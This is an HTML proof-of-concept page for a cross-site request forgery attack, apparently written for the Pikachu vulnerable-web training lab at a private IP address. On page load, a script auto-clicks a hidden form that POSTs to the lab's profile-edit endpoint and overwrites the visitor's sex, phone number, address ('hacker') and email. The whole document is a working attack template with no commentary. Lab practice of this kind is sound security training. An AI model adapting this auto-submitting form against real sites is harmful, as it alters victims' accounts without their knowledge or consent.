<html>

<head>
    <script>
        window.onload = function () {
            document.getElementById("postsubmit").click();
        }
    </script>
</head>

<body>
    <form method="post" action="http://192.168.1.18/vul/csrf/csrfpost/csrf_post_edit.php">
        <input id="sex" type="text" name="sex" value="girl" />
        <input id="phonenum" type="text" name="phonenum" value="100000002" />
        <input id="add" type="text" name="add" value="hacker" />
        <input id="email" type="text" name="email" value="lucy@pikachu.com" />
        <input id="postsubmit" type="submit" name="submit" value="submit" />
    </form>
</body>

</html>